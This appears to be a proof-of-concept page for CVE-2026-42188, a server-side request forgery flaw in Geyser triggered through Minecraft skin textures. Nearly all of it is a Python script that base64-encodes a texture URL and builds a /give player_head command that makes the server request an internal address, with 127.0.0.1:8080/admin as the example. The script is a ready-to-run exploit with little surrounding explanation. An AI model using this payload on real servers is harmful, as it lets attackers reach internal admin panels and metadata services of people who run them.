CVE-2026-42188: Geyser SSRF漏洞允许通过皮肤纹理进行服务器端请求伪造

# PoC Concept for CVE-2026-42188 # This Python script generates a Minecraft /give command that triggers the SSRF. import base64 import json def generate_malicious_command(target_url): # Create the JSON structure for the texture texture_data = { "url": target_url } # Encode to Base64 (Minecraft texture format requirement) encoded_bytes = base64.b64encode(json.dumps(texture_data).encode("utf-8")) encoded_string = encoded_bytes.decode("utf-8") # Construct the /give command with NBT data # This gives the player a player_head with the malicious texture command = f'/give @p minecraft:player_head{{SkullOwner:{{Id:"IcyRex",Properties:{{textures:[{{Value:"{encoded_string}"}}]}}}}}}' return command if __name__ == "__main__": # Example: Targeting an internal admin panel or metadata service target = "http://127.0.0.1:8080/admin" print(f"Target: {target}") print("Run this command in the Minecraft server console or as an OP player:") print(generate_malicious_command(target))